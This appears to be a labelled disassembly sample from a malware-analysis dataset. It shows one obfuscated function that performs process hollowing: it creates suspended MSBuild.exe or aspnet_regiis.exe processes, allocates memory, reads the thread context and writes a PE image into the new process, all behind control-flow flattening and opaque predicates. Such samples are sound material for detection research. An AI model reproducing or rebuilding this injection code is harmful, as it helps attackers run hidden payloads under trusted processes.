Function at 0x10002400
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x150
mov eax, dword [0x10064800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x158], 0x83ae7c50
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x15c], eax
sub eax, 0x808a2919
je 0x10003e4b
jmp 0x1000243c
mov eax, dword [ebp - 0x15c]
sub eax, 0x80f918ed
je 0x10004ceb
jmp 0x10002452
mov eax, dword [ebp - 0x15c]
sub eax, 0x81595515
je 0x10005018
jmp 0x10002468
mov eax, dword [ebp - 0x15c]
sub eax, 0x820248df
je 0x10004463
jmp 0x1000247e
mov eax, dword [ebp - 0x15c]
sub eax, 0x83ae7c50
je 0x10002f6d
jmp 0x10002494
mov eax, dword [ebp - 0x15c]
sub eax, 0x83faa0e6
je 0x100043d8
jmp 0x100024aa
mov eax, dword [ebp - 0x15c]
sub eax, 0x84733dd4
je 0x10003d91
jmp 0x100024c0
mov eax, dword [ebp - 0x15c]
sub eax, 0x84fd439e
je 0x10004f61
jmp 0x100024d6
mov eax, dword [ebp - 0x15c]
sub eax, 0x85019f78
je 0x10003154
jmp 0x100024ec
mov eax, dword [ebp - 0x15c]
sub eax, 0x88d5826d
je 0x10003637
jmp 0x10002502
mov eax, dword [ebp - 0x15c]
sub eax, 0x89939c9c
je 0x10004c9a
jmp 0x10002518
mov eax, dword [ebp - 0x15c]
sub eax, 0x8a875a85
je 0x10004d76
jmp 0x1000252e
mov eax, dword [ebp - 0x15c]
sub eax, 0x8ddd886d
je 0x100051d8
jmp 0x10002544
mov eax, dword [ebp - 0x15c]
sub eax, 0x8ece36c6
je 0x10003a55
jmp 0x1000255a
mov eax, dword [ebp - 0x15c]
sub eax, 0x8fd98314
je 0x100035b3
jmp 0x10002570
mov eax, dword [ebp - 0x15c]
sub eax, 0x911f3ff1
je 0x10003805
jmp 0x10002586
mov eax, dword [ebp - 0x15c]
sub eax, 0x99f32176
je 0x1000343e
jmp 0x1000259c
mov eax, dword [ebp - 0x15c]
sub eax, 0x9a262343
je 0x10004bc1
jmp 0x100025b2
mov eax, dword [ebp - 0x15c]
sub eax, 0x9af1fda1
je 0x100051a8
jmp 0x100025c8
mov eax, dword [ebp - 0x15c]
sub eax, 0x9ca50d91
je 0x10003fd9
jmp 0x100025de
mov eax, dword [ebp - 0x15c]
sub eax, 0x9d554c87
je 0x10005075
jmp 0x100025f4
mov eax, dword [ebp - 0x15c]
sub eax, 0xa204c23b
je 0x10004ba3
jmp 0x1000260a
mov eax, dword [ebp - 0x15c]
sub eax, 0xa457c991
je 0x10003503
jmp 0x10002620
mov eax, dword [ebp - 0x15c]
sub eax, 0xa609a076
je 0x10004f76
jmp 0x10002636
mov eax, dword [ebp - 0x15c]
sub eax, 0xa7417cc3
je 0x100046ce
jmp 0x1000264c
mov eax, dword [ebp - 0x15c]
sub eax, 0xac25de82
je 0x10004eb0
jmp 0x10002662
mov eax, dword [ebp - 0x15c]
sub eax, 0xad0d4b54
je 0x10003dfa
jmp 0x10002678
mov eax, dword [ebp - 0x15c]
sub eax, 0xb0ed1cc5
je 0x1000513c
jmp 0x1000268e
mov eax, dword [ebp - 0x15c]
sub eax, 0xb1bc717d
je 0x1000452c
jmp 0x100026a4
mov eax, dword [ebp - 0x15c]
sub eax, 0xb7bb2eaf
je 0x1000405e
jmp 0x100026ba
mov eax, dword [ebp - 0x15c]
sub eax, 0xb8a6ab17
je 0x10005228
jmp 0x100026d0
mov eax, dword [ebp - 0x15c]
sub eax, 0xbd68cbd0
je 0x100049f6
jmp 0x100026e6
mov eax, dword [ebp - 0x15c]
sub eax, 0xbe51308e
je 0x10004726
jmp 0x100026fc
mov eax, dword [ebp - 0x15c]
sub eax, 0xbfdd308e
je 0x1000514b
jmp 0x10002712
mov eax, dword [ebp - 0x15c]
sub eax, 0xc096e382
je 0x10004eef
jmp 0x10002728
mov eax, dword [ebp - 0x15c]
sub eax, 0xc3f75254
je 0x10005184
jmp 0x1000273e
mov eax, dword [ebp - 0x15c]
sub eax, 0xc4b632d0
je 0x100050e1
jmp 0x10002754
mov eax, dword [ebp - 0x15c]
sub eax, 0xc55ad028
je 0x1000393f
jmp 0x1000276a
mov eax, dword [ebp - 0x15c]
sub eax, 0xc671421f
je 0x1000430e
jmp 0x10002780
mov eax, dword [ebp - 0x15c]
sub eax, 0xc871f067
je 0x1000384e
jmp 0x10002796
mov eax, dword [ebp - 0x15c]
sub eax, 0xc8b58b34
je 0x100038e7
jmp 0x100027ac
mov eax, dword [ebp - 0x15c]
sub eax, 0xc8d9a074
je 0x10003915
jmp 0x100027c2
mov eax, dword [ebp - 0x15c]
sub eax, 0xcd4a477e
je 0x1000331c
jmp 0x100027d8
mov eax, dword [ebp - 0x15c]
sub eax, 0xd55c04a5
je 0x10003272
jmp 0x100027ee
mov eax, dword [ebp - 0x15c]
sub eax, 0xd5609ab8
je 0x10002fe3
jmp 0x10002804
mov eax, dword [ebp - 0x15c]
sub eax, 0xdb23d6a4
je 0x10005219
jmp 0x1000281a
mov eax, dword [ebp - 0x15c]
sub eax, 0xdbc8a6a1
je 0x1000450f
jmp 0x10002830
mov eax, dword [ebp - 0x15c]
sub eax, 0xdc555f8d
je 0x1000344d
jmp 0x10002846
mov eax, dword [ebp - 0x15c]
sub eax, 0xdd1dda05
je 0x100034c4
jmp 0x1000285c
mov eax, dword [ebp - 0x15c]
sub eax, 0xe0146e09
je 0x100047e6
jmp 0x10002872
mov eax, dword [ebp - 0x15c]
sub eax, 0xe42c6dd2
je 0x10003545
jmp 0x10002888
mov eax, dword [ebp - 0x15c]
sub eax, 0xe47f68ae
je 0x100051bd
jmp 0x1000289e
mov eax, dword [ebp - 0x15c]
sub eax, 0xe5fea6b0
je 0x100040f6
jmp 0x100028b4
mov eax, dword [ebp - 0x15c]
sub eax, 0xe82c19bd
je 0x10004c2f
jmp 0x100028ca
mov eax, dword [ebp - 0x15c]
sub eax, 0xe8dafd78
je 0x10004c8b
jmp 0x100028e0
mov eax, dword [ebp - 0x15c]
sub eax, 0xe92ab01a
je 0x10004fb4
jmp 0x100028f6
mov eax, dword [ebp - 0x15c]
sub eax, 0xea94f3a7
je 0x1000333d
jmp 0x1000290c
mov eax, dword [ebp - 0x15c]
sub eax, 0xeabf850e
je 0x100050d2
jmp 0x10002922
mov eax, dword [ebp - 0x15c]
sub eax, 0xef638014
je 0x10003990
jmp 0x10002938
mov eax, dword [ebp - 0x15c]
sub eax, 0xf07b4ced
je 0x10003fe8
jmp 0x1000294e
mov eax, dword [ebp - 0x15c]
sub eax, 0xf0ba0714
je 0x10003749
jmp 0x10002964
mov eax, dword [ebp - 0x15c]
sub eax, 0xf7e63ec3
je 0x10003229
jmp 0x1000297a
mov eax, dword [ebp - 0x15c]
sub eax, 0xfa8aca5b
je 0x100040d9
jmp 0x10002990
mov eax, dword [ebp - 0x15c]
sub eax, 0xfdf2f200
je 0x100043f5
jmp 0x100029a6
mov eax, dword [ebp - 0x15c]
sub eax, 0x30cacfe
je 0x100042c4
mov ecx, dword [0x10065b38]
mov eax, dword [0x10065b34]
mov edx, ecx
sub edx, 0xa38e3abb
sub edx, 1
add edx, 0xa38e3abb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc096e382
mov ecx, 0xd5609ab8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4b800
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x104], eax
mov eax, dword [0x10065b38]
mov ecx, dword [0x10065b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc096e382
mov ecx, 0x613a0bfe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0xfc]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x100]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x158], 0x2a074eb3
jmp 0x10005291
mov eax, dword [0x10065b38]
mov ecx, dword [0x10065b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x715862db
mov ecx, 0xd55c04a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0xf4]
cmp dword [eax + 0xd0], 0
setne al
and al, 1
mov byte [ebp - 0x151], al
mov eax, dword [ebp - 0x144]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov al, byte [ebp - 0x151]
and al, 1
mov byte [ebp - 0xed], al
mov ecx, dword [0x10065b38]
mov eax, dword [0x10065b34]
mov edx, ecx
sub edx, 0x168498a9
sub edx, 1
add edx, 0x168498a9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x715862db
mov ecx, 0xcd4a477e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov dl, byte [ebp - 0xed]
mov eax, 0xea94f3a7
mov ecx, 0x5517da43
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0x144]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x158], 0x58dec68c
jmp 0x10005291
mov dword [ebp - 0x158], 0xdc555f8d
jmp 0x10005291
mov edx, dword [ebp - 0xec]
xor eax, eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x24]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, eax
mov eax, 0x5e769785
mov ecx, 0xdd1dda05
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x158], 0xa457c991
jmp 0x10005291
mov eax, dword [ebp - 0x14c]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0x418d2f40
mov ecx, 0xe42c6dd2
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov ecx, dword [0x10065b38]
mov eax, dword [0x10065b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa609a076
mov ecx, 0x8fd98314
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call fcn.10002200
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0xe8], eax
mov eax, dword [0x10065b38]
mov ecx, dword [0x10065b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa609a076
mov ecx, 0x88d5826d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov dword [ebp - 0x158], 0x256848e2
jmp 0x10005291
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x13c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x148]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x150]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x150]
xor eax, eax
sub eax, 0x18
sub ecx, eax
mov eax, dword [ebp - 0x150]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov dword [eax], 0
mov eax, dword [ebp - 0x150]
add eax, 0x18
add eax, 0x60
add eax, 0x28
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x158], 0x911f3ff1
jmp 0x10005291
mov eax, dword [0x10065b38]
mov ecx, dword [0x10065b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe92ab01a
mov ecx, 0xc871f067
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, dword [ebp - 0x120]
mov dword [eax], 0
mov ecx, dword [0x10065b38]
mov eax, dword [0x10065b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe92ab01a
mov ecx, 0x75647dd4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x150]
mov ax, word [eax + 6]
mov word [ebp - 0xd6], ax
mov dword [ebp - 0x158], 0xc8d9a074
jmp 0x10005291
mov ax, word [ebp - 0xd6]
movzx esi, ax
mov edx, dword [ebp - 0xdc]
mov eax, 0xe5fea6b0
mov ecx, 0xc55ad028
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [0x10065b38]
mov ecx, dword [0x10065b34]
mov edx, eax
sub edx, 0x4f8541ec
sub edx, 1
add edx, 0x4f8541ec
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3e7fc0bd
mov ecx, 0xef638014
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x120]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x130]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x120]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x120]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xcc], eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0xc8], eax
mov eax, dword [0x10065b38]
mov ecx, dword [0x10065b34]
mov edx, eax
add edx, 0x76e3fdfa
sub edx, 1
sub edx, 0x76e3fdfa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3e7fc0bd
mov ecx, 0x8ece36c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov dword [ebp - 0x158], 0x6c14353d
jmp 0x10005291
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xb0], eax
mov eax, dword [0x10065b38]
mov ecx, dword [0x10065b34]
mov edx, eax
add edx, 0x364bc7d
sub edx, 1
sub edx, 0x364bc7d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeabf850e
mov ecx, 0x56b24ed2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [0x10065b38]
mov ecx, dword [0x10065b34]
mov edx, eax
sub edx, 0x518d5829
sub edx, 1
add edx, 0x518d5829
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc4b632d0
mov ecx, 0x808a2919
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x120]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xb0]
add ecx, eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov edx, dword [ebp - 0x130]
mov edx, dword [edx]
mov esi, dword [ebp - 0x120]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub eax, 0x63cc4e5a
sub eax, edx
add eax, 0x63cc4e5a
add ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov ecx, dword [0x10065b38]
mov eax, dword [0x10065b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc4b632d0
mov ecx, 0xb5ec905
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov dword [ebp - 0x158], 0xf07b4ced
jmp 0x10005291
mov ecx, dword [0x10065b38]
mov eax, dword [0x10065b34]
mov edx, ecx
sub edx, 0xb3d2f0e9
sub edx, 1
add edx, 0xb3d2f0e9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbfdd308e
mov ecx, 0xb7bb2eaf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
sub eax, 0xebb689dd
add eax, 1
add eax, 0xebb689dd
mov dword [ebp - 0xac], eax
mov eax, dword [0x10065b38]
mov ecx, dword [0x10065b34]
mov edx, eax
sub edx, 0x8a57db87
sub edx, 1
add edx, 0x8a57db87
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbfdd308e
mov ecx, 0x508b032a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0xac]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0xc8b58b34
jmp 0x10005291
mov ecx, dword [0x10065b38]
mov eax, dword [0x10065b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7af1acfc
mov ecx, 0xf520b1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0xa0]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0xa4]
mov eax, 0x8a875a85
mov ecx, 0x49f0a54e
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x158], 0xfdf2f200
jmp 0x10005291
mov ecx, dword [0x10065b38]
mov eax, dword [0x10065b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4ec28c07
mov ecx, 0x820248df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0x9c]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x95], al
mov ecx, dword [0x10065b38]
mov eax, dword [0x10065b34]
mov edx, ecx
sub edx, 0x47e08355
sub edx, 1
add edx, 0x47e08355
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4ec28c07
mov ecx, 0x8870660
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x158], 0xb1bc717d
jmp 0x10005291
mov ecx, dword [ebp - 0x94]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0x8389bb65
sub ecx, 8
sub ecx, 0x8389bb65
shr ecx, 1
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x34]
add ecx, 0x30068c19
sub ecx, eax
sub ecx, 0x30068c19
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov dword [ebp - 0x158], 0x5d1d0fd9
jmp 0x10005291
mov dword [ebp - 0x158], 0x78830a99
jmp 0x10005291
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x88]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x81], al
mov ecx, dword [0x10065b38]
mov eax, dword [0x10065b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe47f68ae
mov ecx, 0x25e1a4f4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub eax, 0x2e87360d
add eax, ecx
add eax, 0x2e87360d
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
mov ecx, dword [ecx]
shl ecx, 1
add eax, ecx
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x158], 0x183c252f
jmp 0x10005291
mov dword [ebp - 0x158], 0x30927e8d
jmp 0x10005291
mov dword [ebp - 0x158], 0x415e0bdb
jmp 0x10005291
mov ecx, dword [0x10065b38]
mov eax, dword [0x10065b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfc1f11f
mov ecx, 0xe82c19bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10005291
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [0x10065b38]
mov ecx, dword [0x10065b34]
mov edx, eax
add edx, 0x383c0fe4
sub edx, 1
sub edx, 0x383c0fe4
imul eax, edx
and eax, 1
cmp eax, 0
